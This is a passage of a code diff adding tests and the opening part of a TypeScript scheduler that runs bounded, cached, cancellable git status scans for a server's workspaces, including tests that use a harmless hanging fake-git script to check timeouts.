+  let reject!: (reason?: unknown) => void;
+  const promise = new Promise<T>((resolvePromise, rejectPromise) => {
+    resolve = resolvePromise;
+    reject = rejectPromise;
+  });
+  return { promise, resolve, reject };
+}
+
+function scanInput(workspacePath: string, suffix: string, fairnessKeys: string[] = []) {
+  return {
+    workspacePath,
+    args: ["status", "--porcelain=v1", "-z", "--untracked-files=all", suffix],
+    operation: "test.changed_files",
+    fairnessKeys,
+    cacheTtlMs: 0,
+  };
+}
+
+afterEach(async () => {
+  vi.restoreAllMocks();
+  await Promise.all(tempPaths.splice(0).map((tempPath) => fs.rm(tempPath, { recursive: true, force: true })));
+});
+
+describe("WorkspaceGitOperationScheduler", () => {
+  it("loads bounded process defaults and overrides from the environment", () => {
+    expect(workspaceGitSchedulerOptionsFromEnv({})).toEqual({
+      concurrency: 2,
+      queueCapacity: 32,
+      timeoutMs: 8_000,
+      defaultCacheTtlMs: 10_000,
+    });
+    expect(workspaceGitSchedulerOptionsFromEnv({
+      PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY: "4",
+      PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY: "12",
+      PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS: "5000",
+      PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS: "7000",
+    })).toEqual({
+      concurrency: 4,
+      queueCapacity: 12,
+      timeoutMs: 5_000,
+      defaultCacheTtlMs: 7_000,
+    });
+  });
+
+  it("enforces process-wide concurrency across unrelated fairness keys", async () => {
+    const workspace = await makeWorkspace();
+    const releases: Array<() => void> = [];
+    let active = 0;
+    let peakActive = 0;
+    const runner: WorkspaceGitRunner = () => new Promise((resolve) => {
+      active += 1;
+      peakActive = Math.max(peakActive, active);
+      releases.push(() => {
+        active -= 1;
+        resolve({ stdout: "", stderr: "" });
+      });
+    });
+    const scheduler = createWorkspaceGitOperationScheduler({ concurrency: 2, queueCapacity: 8, runner });
+
+    const requests = Array.from({ length: 6 }, (_, index) => scheduler.run(scanInput(
+      workspace,
+      String(index),
+      [`company:${index}`, `actor:${index}`, `issue:${index}`],
+    )));
+
+    await vi.waitFor(() => expect(scheduler.snapshot()).toMatchObject({ activeCount: 2, queuedCount: 4 }));
+    for (let completed = 0; completed < requests.length; completed += 1) {
+      await vi.waitFor(() => expect(releases.length).toBeGreaterThan(0));
+      releases.shift()?.();
+    }
+    await Promise.all(requests);
+
+    expect(peakActive).toBe(2);
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 0, queuedCount: 0, inFlightCount: 0 });
+  });
+
+  it("honors per-operation deadlines and keeps different execution bounds out of one flight", async () => {
+    const workspace = await makeWorkspace();
+    const observedTimeouts: number[] = [];
+    const runner: WorkspaceGitRunner = async (input) => {
+      observedTimeouts.push(input.timeoutMs);
+      return { stdout: "", stderr: "" };
+    };
+    const scheduler = createWorkspaceGitOperationScheduler({
+      concurrency: 2,
+      timeoutMs: 8_000,
+      runner,
+    });
+    const input = scanInput(workspace, "same");
+
+    await Promise.all([
+      scheduler.run({ ...input, timeoutMs: 10_000, maxStdoutBytes: 1024 }),
+      scheduler.run({ ...input, timeoutMs: 12_000, maxStdoutBytes: 1024 }),
+    ]);
+
+    expect(observedTimeouts.sort((a, b) => a - b)).toEqual([10_000, 12_000]);
+    expect(scheduler.snapshot().totals.singleFlightJoins).toBe(0);
+  });
+
+  it("bounds the queue and fails excess work immediately with a typed retryable error", async () => {
+    const workspace = await makeWorkspace();
+    const releases: Array<() => void> = [];
+    const runner: WorkspaceGitRunner = () => new Promise((resolve) => {
+      releases.push(() => resolve({ stdout: "", stderr: "" }));
+    });
+    const scheduler = createWorkspaceGitOperationScheduler({ concurrency: 1, queueCapacity: 1, runner });
+
+    const active = scheduler.run(scanInput(workspace, "active"));
+    await vi.waitFor(() => expect(scheduler.snapshot().activeCount).toBe(1));
+    const queued = scheduler.run(scanInput(workspace, "queued"));
+    await vi.waitFor(() => expect(scheduler.snapshot().queuedCount).toBe(1));
+
+    await expect(scheduler.run(scanInput(workspace, "rejected"))).rejects.toMatchObject({
+      status: 503,
+      code: WORKSPACE_GIT_SCAN_ERROR_CODES.saturated,
+      details: expect.objectContaining({ retryable: true }),
+    });
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 1, queuedCount: 1 });
+
+    releases.shift()?.();
+    await vi.waitFor(() => expect(releases).toHaveLength(1));
+    releases.shift()?.();
+    await Promise.all([active, queued]);
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 0, queuedCount: 0, inFlightCount: 0 });
+  });
+
+  it("coalesces the same canonical key and cleans single-flight state after success and failure", async () => {
+    const workspace = await makeWorkspace();
+    const alias = `${workspace}-alias`;
+    await fs.symlink(workspace, alias, "dir");
+    tempPaths.push(alias);
+    const gate = deferred<void>();
+    let calls = 0;
+    let shouldFail = false;
+    const runner: WorkspaceGitRunner = async () => {
+      calls += 1;
+      await gate.promise;
+      if (shouldFail) throw new Error("synthetic failure");
+      return { stdout: "shared", stderr: "" };
+    };
+    const scheduler = createWorkspaceGitOperationScheduler({ runner, defaultCacheTtlMs: 0 });
+
+    const first = scheduler.run(scanInput(workspace, "same"));
+    // Wait for the first request to register as the single-flight leader before
+    // the alias request starts. Both requests call fs.realpath concurrently, so
+    // without this barrier the symlink alias can resolve first and become the
+    // leader. That race makes the leader and joiner order non-deterministic.
+    await vi.waitFor(() => expect(scheduler.snapshot().inFlightCount).toBe(1));
+    const joined = scheduler.run(scanInput(alias, "same"));
+    await vi.waitFor(() => expect(scheduler.snapshot().totals.singleFlightJoins).toBe(1));
+    expect(calls).toBe(1);
+    gate.resolve();
+    const results = await Promise.all([first, joined]);
+    expect(results).toEqual([
+      expect.objectContaining({ stdout: "shared" }),
+      expect.objectContaining({ stdout: "shared" }),
+    ]);
+    expect(results.map((result) => result.singleFlightJoined).sort()).toEqual([false, true]);
+
+    shouldFail = true;
+    await expect(scheduler.run(scanInput(workspace, "failure"))).rejects.toMatchObject({
+      code: WORKSPACE_GIT_SCAN_ERROR_CODES.failed,
+    });
+    shouldFail = false;
+    await expect(scheduler.run(scanInput(workspace, "failure"))).resolves.toMatchObject({ stdout: "shared" });
+    expect(calls).toBe(3);
+    expect(scheduler.snapshot().inFlightCount).toBe(0);
+  });
+
+  it("serves cached results until TTL expiry and evicts least-recently-used entries", async () => {
+    const firstWorkspace = await makeWorkspace("same-name");
+    const secondWorkspace = await makeWorkspace("same-name");
+    const thirdWorkspace = await makeWorkspace("same-name");
+    let now = 1_000;
+    let calls = 0;
+    const runner: WorkspaceGitRunner = async ({ canonicalWorkspacePath }) => {
+      calls += 1;
+      return { stdout: `${canonicalWorkspacePath}:${calls}`, stderr: "" };
+    };
+    const scheduler = createWorkspaceGitOperationScheduler({
+      runner,
+      now: () => now,
+      defaultCacheTtlMs: 100,
+      maxCacheEntries: 2,
+    });
+    const cacheable = (workspacePath: string) => ({
+      ...scanInput(workspacePath, "same"),
+      cacheTtlMs: 100,
+    });
+
+    const first = await scheduler.run(cacheable(firstWorkspace));
+    const cacheHit = await scheduler.run(cacheable(firstWorkspace));
+    expect(cacheHit).toMatchObject({ stdout: first.stdout, cacheHit: true });
+    expect(calls).toBe(1);
+
+    const bypass = await scheduler.run({ ...cacheable(firstWorkspace), cacheTtlMs: 0 });
+    expect(bypass.cacheHit).toBe(false);
+    expect(calls).toBe(2);
+
+    now += 101;
+    await scheduler.run(cacheable(firstWorkspace));
+    expect(calls).toBe(3);
+    await scheduler.run(cacheable(secondWorkspace));
+    // Touch the first entry, then force the second (the LRU) out.
+    await scheduler.run(cacheable(firstWorkspace));
+    await scheduler.run(cacheable(thirdWorkspace));
+    expect(scheduler.snapshot().cacheEntryCount).toBe(2);
+    await scheduler.run(cacheable(secondWorkspace));
+    expect(calls).toBe(6);
+  });
+
+  it("keeps identical display paths in different canonical workspaces isolated", async () => {
+    const firstWorkspace = await makeWorkspace("repo");
+    const secondWorkspace = await makeWorkspace("repo");
+    let calls = 0;
+    const scheduler = createWorkspaceGitOperationScheduler({
+      runner: async ({ canonicalWorkspacePath }) => {
+        calls += 1;
+        return { stdout: canonicalWorkspacePath, stderr: "" };
+      },
+      defaultCacheTtlMs: 1_000,
+    });
+
+    const [first, second] = await Promise.all([
+      scheduler.run({ ...scanInput(firstWorkspace, "same"), cacheTtlMs: 1_000 }),
+      scheduler.run({ ...scanInput(secondWorkspace, "same"), cacheTtlMs: 1_000 }),
+    ]);
+
+    expect(first.stdout).not.toBe(second.stdout);
+    expect(first.workspaceHash).not.toBe(second.workspaceHash);
+    expect(calls).toBe(2);
+  });
+
+  it("does not let a repeatedly served fairness group monopolize the next slot", async () => {
+    const workspace = await makeWorkspace();
+    const order: string[] = [];
+    const releases: Array<() => void> = [];
+    const runner: WorkspaceGitRunner = ({ args }) => new Promise((resolve) => {
+      const name = args.at(-1)!;
+      order.push(name);
+      releases.push(() => resolve({ stdout: name, stderr: "" }));
+    });
+    const scheduler = createWorkspaceGitOperationScheduler({ concurrency: 1, queueCapacity: 4, runner });
+
+    const firstA = scheduler.run(scanInput(workspace, "a-1", ["company:a", "actor:a"]));
+    await vi.waitFor(() => expect(order).toEqual(["a-1"]));
+    const secondA = scheduler.run(scanInput(workspace, "a-2", ["company:a", "actor:a"]));
+    const firstB = scheduler.run(scanInput(workspace, "b-1", ["company:b", "actor:b"]));
+    await vi.waitFor(() => expect(scheduler.snapshot().queuedCount).toBe(2));
+    releases.shift()?.();
+    await vi.waitFor(() => expect(order).toEqual(["a-1", "b-1"]));
+    releases.shift()?.();
+    await vi.waitFor(() => expect(order).toEqual(["a-1", "b-1", "a-2"]));
+    releases.shift()?.();
+
+    await Promise.all([firstA, secondA, firstB]);
+  });
+
+  it("keeps a shared scan alive for remaining waiters and cancels it after the last disconnect", async () => {
+    const workspace = await makeWorkspace();
+    let underlyingAborted = false;
+    const runner: WorkspaceGitRunner = ({ signal, canonicalWorkspacePath }) => new Promise((_resolve, reject) => {
+      signal.addEventListener("abort", () => {
+        underlyingAborted = true;
+        reject(new WorkspaceGitScanError(
+          WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled,
+          "cancelled",
+          { canonicalWorkspacePath },
+        ));
+      }, { once: true });
+    });
+    const scheduler = createWorkspaceGitOperationScheduler({ runner });
+    const firstController = new AbortController();
+    const secondController = new AbortController();
+    const first = scheduler.run({ ...scanInput(workspace, "same"), signal: firstController.signal }).catch((error) => error);
+    const second = scheduler.run({ ...scanInput(workspace, "same"), signal: secondController.signal }).catch((error) => error);
+    await vi.waitFor(() => expect(scheduler.snapshot().totals.singleFlightJoins).toBe(1));
+
+    firstController.abort();
+    await expect(first).resolves.toMatchObject({ code: WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled });
+    expect(underlyingAborted).toBe(false);
+    expect(scheduler.snapshot().activeCount).toBe(1);
+
+    secondController.abort();
+    await expect(second).resolves.toMatchObject({ code: WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled });
+    await vi.waitFor(() => expect(scheduler.snapshot()).toMatchObject({ activeCount: 0, inFlightCount: 0 }));
+    expect(underlyingAborted).toBe(true);
+  });
+
+  it("removes an abandoned queued scan without consuming a scheduler slot", async () => {
+    const workspace = await makeWorkspace();
+    const gate = deferred<void>();
+    const scheduler = createWorkspaceGitOperationScheduler({
+      concurrency: 1,
+      queueCapacity: 2,
+      runner: async () => {
+        await gate.promise;
+        return { stdout: "", stderr: "" };
+      },
+    });
+    const active = scheduler.run(scanInput(workspace, "active"));
+    await vi.waitFor(() => expect(scheduler.snapshot().activeCount).toBe(1));
+    const controller = new AbortController();
+    const queued = scheduler.run({
+      ...scanInput(workspace, "queued"),
+      signal: controller.signal,
+    }).catch((error) => error);
+    await vi.waitFor(() => expect(scheduler.snapshot().queuedCount).toBe(1));
+
+    controller.abort();
+    await expect(queued).resolves.toMatchObject({ code: WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled });
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 1, queuedCount: 0, inFlightCount: 1 });
+
+    gate.resolve();
+    await active;
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 0, queuedCount: 0, inFlightCount: 0 });
+  });
+
+  it("kills a hung subprocess after the hard timeout and releases the slot for the next scan", async () => {
+    const workspace = await makeWorkspace();
+    const scriptPath = path.join(path.dirname(workspace), "fake-git.mjs");
+    const pidPath = path.join(path.dirname(workspace), "fake-git.pid");
+    await fs.writeFile(scriptPath, [
+      'import fs from "node:fs";',
+      'fs.writeFileSync(process.env.PAPERCLIP_FAKE_GIT_PID_PATH, String(process.pid));',
+      'if (process.argv.includes("hang")) {',
+      '  process.on("SIGTERM", () => {});',
+      '  setInterval(() => {}, 1000);',
+      '} else {',
+      '  process.stdout.write("ok");',
+      '}',
+    ].join("\n"), "utf8");
+    const scheduler = createWorkspaceGitOperationScheduler({
+      concurrency: 1,
+      timeoutMs: 500,
+      killGraceMs: 50,
+      gitBinary: process.execPath,
+      gitArgsPrefix: [scriptPath],
+    });
+    const env = {
+      ...(process.env.SystemRoot ? { SystemRoot: process.env.SystemRoot } : {}),
+      PAPERCLIP_FAKE_GIT_PID_PATH: pidPath,
+    };
+
+    await expect(scheduler.run({ ...scanInput(workspace, "hang"), env })).rejects.toMatchObject({
+      status: 504,
+      code: WORKSPACE_GIT_SCAN_ERROR_CODES.timeout,
+    });
+    const killedPid = Number(await fs.readFile(pidPath, "utf8"));
+    expect(() => process.kill(killedPid, 0)).toThrow();
+    const outputScheduler = createWorkspaceGitOperationScheduler({
+      concurrency: 1,
+      timeoutMs: 1_000,
+      killGraceMs: 50,
+      gitBinary: process.execPath,
+      gitArgsPrefix: ["-e", 'process.stdout.write("x".repeat(65536)); setInterval(() => {}, 1000);'],
+    });
+    await expect(outputScheduler.run({
+      ...scanInput(workspace, "flood"),
+      env,
+      maxStdoutBytes: 32,
+    })).rejects.toMatchObject({
+      status: 503,
+      code: WORKSPACE_GIT_SCAN_ERROR_CODES.outputLimit,
+    });
+    expect(outputScheduler.snapshot()).toMatchObject({ activeCount: 0, inFlightCount: 0 });
+    await expect(scheduler.run({ ...scanInput(workspace, "ok"), env })).resolves.toMatchObject({
+      cacheHit: false,
+      singleFlightJoined: false,
+    });
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 0, queuedCount: 0, inFlightCount: 0 });
+  });
+
+  it("coalesces 500 requests over two repositories into two bounded scans", async () => {
+    const firstWorkspace = await makeWorkspace("repo-a");
+    const secondWorkspace = await makeWorkspace("repo-b");
+    const gate = deferred<void>();
+    let active = 0;
+    let peakActive = 0;
+    let calls = 0;
+    const scheduler = createWorkspaceGitOperationScheduler({
+      concurrency: 2,
+      queueCapacity: 4,
+      runner: async () => {
+        calls += 1;
+        active += 1;
+        peakActive = Math.max(peakActive, active);
+        await gate.promise;
+        active -= 1;
+        return { stdout: "", stderr: "" };
+      },
+    });
+    const requests = Array.from({ length: 500 }, (_, index) => scheduler.run(scanInput(
+      index % 2 === 0 ? firstWorkspace : secondWorkspace,
+      "same",
+      [`company:${index % 17}`, `actor:${index % 73}`, `issue:${index}`],
+    )));
+
+    await vi.waitFor(() => expect(scheduler.snapshot().totals.singleFlightJoins).toBe(498));
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 2, queuedCount: 0, inFlightCount: 2 });
+    gate.resolve();
+    await Promise.all(requests);
+
+    expect({ calls, peakActive }).toEqual({ calls: 2, peakActive: 2 });
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 0, queuedCount: 0, inFlightCount: 0 });
+  });
+});
diff --git a/server/src/services/workspace-git-operation-scheduler.ts b/server/src/services/workspace-git-operation-scheduler.ts
new file mode 100644
index 00000000000..5819094ec57
--- /dev/null
+++ b/server/src/services/workspace-git-operation-scheduler.ts
@@ -0,0 +1,891 @@
+import { spawn, type ChildProcess } from "node:child_process";
+import { createHash } from "node:crypto";
+import fs from "node:fs/promises";
+import { setExpensiveWorkspaceGitExecutor } from "@paperclipai/adapter-utils/git-workspace-sync";
+import { HttpError } from "../errors.js";
+import { logger } from "../middleware/logger.js";
+
+export const WORKSPACE_GIT_SCAN_ERROR_CODES = {
+  saturated: "workspace_git_scan_saturated",
+  timeout: "workspace_git_scan_timeout",
+  cancelled: "workspace_git_scan_cancelled",
+  outputLimit: "workspace_git_scan_output_limit",
+  failed: "workspace_git_scan_failed",
+} as const;
+
+export type WorkspaceGitScanErrorCode =
+  (typeof WORKSPACE_GIT_SCAN_ERROR_CODES)[keyof typeof WORKSPACE_GIT_SCAN_ERROR_CODES];
+
+export class WorkspaceGitScanError extends HttpError {
+  readonly code: WorkspaceGitScanErrorCode;
+
+  constructor(
+    code: WorkspaceGitScanErrorCode,
+    message: string,
+    details: Record<string, unknown> = {},
+  ) {
+    const status = code === WORKSPACE_GIT_SCAN_ERROR_CODES.timeout
+      ? 504
+      : code === WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled
+        ? 499
+        : 503;
+    super(status, message, {
+      code,
+      retryable: code !== WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled,
+      ...details,
+    });
+    this.name = "WorkspaceGitScanError";
+    this.code = code;
+  }
+}
+
+export function isWorkspaceGitScanError(error: unknown): error is WorkspaceGitScanError {
+  return error instanceof WorkspaceGitScanError;
+}
+
+export interface WorkspaceGitScanResult {
+  stdout: string;
+  stderr: string;
+  canonicalWorkspacePath: string;
+  workspaceHash: string;
+  cacheHit: boolean;
+  singleFlightJoined: boolean;
+}
+
+export interface WorkspaceGitScanInput {
+  workspacePath: string;
+  args: readonly string[];
+  operation: string;
+  /**
+   * Stable, non-secret scheduling dimensions. Jobs sharing any recently-served
+   * dimension are deprioritized, so changing issue ids cannot bypass fairness
+   * for the same company, actor, or repository.
+   */
+  fairnessKeys?: readonly string[];
+  signal?: AbortSignal;
+  /** Successful-result cache duration. Use zero for correctness-sensitive guards. */
+  cacheTtlMs?: number;
+  /** Per-operation wall-clock deadline. Defaults to the process-wide setting. */
+  timeoutMs?: number;
+  env?: NodeJS.ProcessEnv;
+  maxStdoutBytes?: number;
+  maxStderrBytes?: number;
+}
+
+export interface WorkspaceGitSchedulerSnapshot {
+  activeCount: number;
+  queuedCount: number;
+  inFlightCount: number;
+  cacheEntryCount: number;
+  cacheBytes: number;
+  totals: {
+    started: number;
+    succeeded: number;
+    failed: number;
+    timedOut: number;
+    cancelled: number;
+    saturated: number;
+    cacheHits: number;
+    singleFlightJoins: number;
+  };
+}
+
+export interface WorkspaceGitRunnerInput {
+  canonicalWorkspacePath: string;
+  args: readonly string[];
+  env?: NodeJS.ProcessEnv;
+  signal: AbortSignal;
+  timeoutMs: number;
+  killGraceMs: number;
+  maxStdoutBytes: number;
+  maxStderrBytes: number;
+}
+
+export interface WorkspaceGitRunnerResult {
+  stdout: string;
+  stderr: string;
+}
+
+export type WorkspaceGitRunner = (
+  input: WorkspaceGitRunnerInput,
+) => Promise<WorkspaceGitRunnerResult>;
+
+export interface WorkspaceGitOperationSchedulerOptions {
+  concurrency?: number;
+  queueCapacity?: number;
+  timeoutMs?: number;
+  killGraceMs?: number;
+  defaultCacheTtlMs?: number;
+  maxCacheEntries?: number;
+  maxCacheBytes?: number;
+  maxStdoutBytes?: number;
+  maxStderrBytes?: number;
+  warningIntervalMs?: number;
+  gitBinary?: string;
+  gitArgsPrefix?: readonly string[];
+  runner?: WorkspaceGitRunner;
+  now?: () => number;
+}
+
+interface Waiter {
+  id: symbol;
+  signal?: AbortSignal;
+  onAbort?: () => void;
+  resolve: (result: WorkspaceGitScanResult) => void;
+  reject: (error: unknown) => void;
+  joined: boolean;
+}
+
+interface PendingScan {
+  key: string;
+  operation: string;
+  canonicalWorkspacePath: string;
+  workspaceHash: string;
+  args: readonly string[];
+  fairnessKeys: readonly string[];
+  env?: NodeJS.ProcessEnv;
+  timeoutMs: number;
+  maxStdoutBytes: number;
+  maxStderrBytes: number;
+  cacheTtlMs: number;
+  enqueuedAt: number;
+  state: "queued" | "running";
+  controller: AbortController;
+  waiters: Map<symbol, Waiter>;
+  joinCount: number;
+}
+
+interface CacheEntry {
+  stdout: string;
+  stderr: string;
+  canonicalWorkspacePath: string;
+  workspaceHash: string;
+  expiresAt: number;
+  bytes: number;
+}
+
+interface WarningBucket {
+  lastLoggedAt: number;
+  suppressed: number;
+}
+
+const DEFAULT_CONCURRENCY = 2;
+const DEFAULT_QUEUE_CAPACITY = 32;
+const DEFAULT_TIMEOUT_MS = 8_000;
+const DEFAULT_KILL_GRACE_MS = 250;
+const DEFAULT_CACHE_TTL_MS = 10_000;
+const DEFAULT_CACHE_ENTRIES = 64;
+const DEFAULT_CACHE_BYTES = 8 * 1024 * 1024;
+const DEFAULT_OUTPUT_BYTES = 1024 * 1024;
+const DEFAULT_WARNING_INTERVAL_MS = 10_000;
+
+function clampInteger(value: number | undefined, fallback: number, min: number, max: number): number {
+  if (!Number.isFinite(value)) return fallback;
+  return Math.min(max, Math.max(min, Math.floor(value!)));
+}
+
+function envInteger(
+  env: NodeJS.ProcessEnv,
+  key: string,
+  fallback: number,
+  min: number,
+  max: number,
+): number {
+  const raw = env[key]?.trim();
+  if (!raw) return fallback;
+  const parsed = Number(raw);
+  return clampInteger(parsed, fallback, min, max);
+}
+
+export function workspaceGitSchedulerOptionsFromEnv(
+  env: NodeJS.ProcessEnv = process.env,
+): Required<Pick<
+  WorkspaceGitOperationSchedulerOptions,
+  "concurrency" | "queueCapacity" | "timeoutMs" | "defaultCacheTtlMs"
+>> {
+  return {
+    concurrency: envInteger(env, "PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY", DEFAULT_CONCURRENCY, 1, 16),
+    queueCapacity: envInteger(env, "PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY", DEFAULT_QUEUE_CAPACITY, 0, 1_024),
+    timeoutMs: envInteger(env, "PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS", DEFAULT_TIMEOUT_MS, 100, 120_000),
+    defaultCacheTtlMs: envInteger(env, "PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS", DEFAULT_CACHE_TTL_MS, 0, 60_000),
+  };
+}
+
+function workspaceIdentity(canonicalWorkspacePath: string): string {
+  return createHash("sha256").update(canonicalWorkspacePath).digest("hex").slice(0, 16);
+}
+
+function scanKey(input: {
+  canonicalWorkspacePath: string;
+  args: readonly string[];
+  env?: NodeJS.ProcessEnv;
+  timeoutMs: number;
+  maxStdoutBytes: number;
+  maxStderrBytes: number;
+}): string {
+  // These variables can change status semantics. Hash values so neither keys nor
+  // telemetry expose credentials or private config contents.
+  const effectiveEnv = input.env ?? process.env;
+  const semanticEnv = [
+    "GIT_CONFIG_COUNT",
+    "GIT_CONFIG_PARAMETERS",
+    "GIT_DIR",
+    "GIT_INDEX_FILE",
+    "GIT_OPTIONAL_LOCKS",
+    "GIT_WORK_TREE",
+  ].map((key) => [key, effectiveEnv[key] ?? null]);
+  return createHash("sha256")
+    .update(JSON.stringify({
+      workspacePath: input.canonicalWorkspacePath,
+      args: input.args,
+      semanticEnv,
+      timeoutMs: input.timeoutMs,
+      maxStdoutBytes: input.maxStdoutBytes,
+      maxStderrBytes: input.maxStderrBytes,
+    }))
+    .digest("hex");
+}
+
+function abortError(workspaceHash: string): WorkspaceGitScanError {
+  return new WorkspaceGitScanError(
+    WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled,
+    "Workspace Git scan was cancelled",
+    { workspaceHash },
+  );
+}
+
+function signalChild(child: ChildProcess, signal: NodeJS.Signals): void {
+  if (child.exitCode !== null || child.signalCode !== null) return;
+  if (process.platform !== "win32" && child.pid) {
+    try {
+      process.kill(-child.pid, signal);
+      return;
+    } catch {
+      // Fall back to the direct child if the process group already disappeared.
+    }
+  }
+  try {
+    child.kill(signal);
+  } catch {
+    // The close/error handler owns settlement; an already-dead child is benign.
+  }
+}
+
+function createSpawnRunner(input: {
+  gitBinary: string;
+  gitArgsPrefix: readonly string[];
+}): WorkspaceGitRunner {
+  return (runInput) => new Promise<WorkspaceGitRunnerResult>((resolve, reject) => {
+    if (runInput.signal.aborted) {
+      reject(abortError(workspaceIdentity(runInput.canonicalWorkspacePath)));
+      return;
+    }
+
+    const child = spawn(
+      input.gitBinary,
+      [...input.gitArgsPrefix, "-C", runInput.canonicalWorkspacePath, ...runInput.args],
+      {
+        cwd: runInput.canonicalWorkspacePath,
+        env: runInput.env ?? process.env,
+        stdio: ["ignore", "pipe", "pipe"],
+        detached: process.platform !== "win32",
+        windowsHide: true,
+      },
+    );
+    const stdoutChunks: Buffer[] = [];
+    const stderrChunks: Buffer[] = [];
+    let stdoutBytes = 0;
+    let stderrBytes = 0;
+    let termination: "timeout" | "cancelled" | "output_limit" | null = null;
+    let spawnError: Error | null = null;
+    let settled = false;
+
+    const terminate = (reason: NonNullable<typeof termination>) => {
+      if (termination) return;
+      termination = reason;
+      signalChild(child, "SIGTERM");
+      killTimer = setTimeout(() => signalChild(child, "SIGKILL"), runInput.killGraceMs);
+      killTimer.unref?.();
+    };
+
+    const append = (
+      chunk: Buffer | string,
+      chunks: Buffer[],
+      currentBytes: number,
+      maxBytes: number,
+    ): number => {
+      const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk);
+      const remaining = Math.max(0, maxBytes - currentBytes);
+      if (remaining > 0) chunks.push(buffer.subarray(0, remaining));
+      const nextBytes = currentBytes + buffer.length;
+      if (nextBytes > maxBytes) terminate("output_limit");
+      return nextBytes;
+    };
+
+    const onAbort = () => terminate("cancelled");
+    runInput.signal.addEventListener("abort", onAbort, { once: true });
+    child.stdout?.on("data", (chunk) => {
+      stdoutBytes = append(chunk, stdoutChunks, stdoutBytes, runInput.maxStdoutBytes);
+    });
+    child.stderr?.on("data", (chunk) => {
+      stderrBytes = append(chunk, stderrChunks, stderrBytes, runInput.maxStderrBytes);
+    });
+    child.once("error", (error) => {
+      spawnError = error;
+    });
+
+    const timeoutTimer = setTimeout(() => terminate("timeout"), runInput.timeoutMs);
+    timeoutTimer.unref?.();
+    let killTimer: NodeJS.Timeout | null = null;
+
+    child.once("close", (code, childSignal) => {
+      if (settled) return;
+      settled = true;
+      clearTimeout(timeoutTimer);
+      if (killTimer) clearTimeout(killTimer);
+      runInput.signal.removeEventListener("abort", onAbort);
+      const stdout = Buffer.concat(stdoutChunks).toString("utf8");
+      const stderr = Buffer.concat(stderrChunks).toString("utf8");
+      const workspaceHash = workspaceIdentity(runInput.canonicalWorkspacePath);
+
+      if (termination === "timeout") {
+        reject(new WorkspaceGitScanError(
+          WORKSPACE_GIT_SCAN_ERROR_CODES.timeout,
+          `Workspace Git scan timed out after ${runInput.timeoutMs}ms`,
+          { workspaceHash, timeoutMs: runInput.timeoutMs },
+        ));
+        return;
+      }
+      if (termination === "cancelled") {
+        reject(abortError(workspaceHash));
+        return;
+      }
+      if (termination === "output_limit") {
+        reject(new WorkspaceGitScanError(
+          WORKSPACE_GIT_SCAN_ERROR_CODES.outputLimit,
+          "Workspace Git scan exceeded its output limit",
+          {
+            workspaceHash,
+            stdoutBytes,
+            stderrBytes,
+            maxStdoutBytes: runInput.maxStdoutBytes,
+            maxStderrBytes: runInput.maxStderrBytes,
+          },
+        ));
+        return;
+      }
+      if (spawnError) {
+        reject(new WorkspaceGitScanError(
+          WORKSPACE_GIT_SCAN_ERROR_CODES.failed,
+          "Workspace Git scan could not start",
+          { workspaceHash, cause: spawnError.message },
+        ));
+        return;
+      }
+      if (code !== 0) {
+        reject(new WorkspaceGitScanError(
+          WORKSPACE_GIT_SCAN_ERROR_CODES.failed,
+          "Workspace Git scan failed",
+          {
+            workspaceHash,
+            exitCode: code,
+            signal: childSignal,
+            // Keep the diagnostic bounded; callers never receive raw paths in telemetry.
+            stderr: stderr.trim().slice(0, 1_000),
+          },
+        ));
+        return;
+      }
+      resolve({ stdout, stderr });
+    });
+  });
+}
+
+export class WorkspaceGitOperationScheduler {
+  private readonly concurrency: number;
+  private readonly queueCapacity: number;
+  private readonly timeoutMs: number;
+  private readonly killGraceMs: number;
+  private readonly defaultCacheTtlMs: number;
+  private readonly maxCacheEntries: number;
+  private readonly maxCacheBytes: number;
+  private readonly maxStdoutBytes: number;
+  private readonly maxStderrBytes: number;
+  private readonly warningIntervalMs: number;
+  private readonly runner: WorkspaceGitRunner;
+  private readonly now: () => number;
+  private readonly inFlight = new Map<string, PendingScan>();
+  private readonly queue: PendingScan[] = [];
+  private readonly cache = new Map<string, CacheEntry>();
+  private readonly lastServedByFairnessKey = new Map<string, number>();
+  private readonly warningBuckets = new Map<string, WarningBucket>();
+  private cacheBytes = 0;
+  private activeCount = 0;
+  private serviceSequence = 0;
+  private readonly totals = {
+    started: 0,
+    succeeded: 0,
+    failed: 0,
+    timedOut: 0,
+    cancelled: 0,
+    saturated: 0,
+    cacheHits: 0,
+    singleFlightJoins: 0,
+  };
+
+  constructor(options: WorkspaceGitOperationSchedulerOptions = {}) {
+    this.concurrency = clampInteger(options.concurrency, DEFAULT_CONCURRENCY, 1, 16);
+    this.queueCapacity = clampInteger(options.queueCapacity, DEFAULT_QUEUE_CAPACITY, 0, 1_024);
+    this.timeoutMs = clampInteger(options.timeoutMs, DEFAULT_TIMEOUT_MS, 1, 120_000);
+    this.killGraceMs = clampInteger(options.killGraceMs, DEFAULT_KILL_GRACE_MS, 1, 10_000);
+    this.defaultCacheTtlMs = clampInteger(options.defaultCacheTtlMs, DEFAULT_CACHE_TTL_MS, 0, 60_000);
+    this.maxCacheEntries = clampInteger(options.maxCacheEntries, DEFAULT_CACHE_ENTRIES, 0, 10_000);
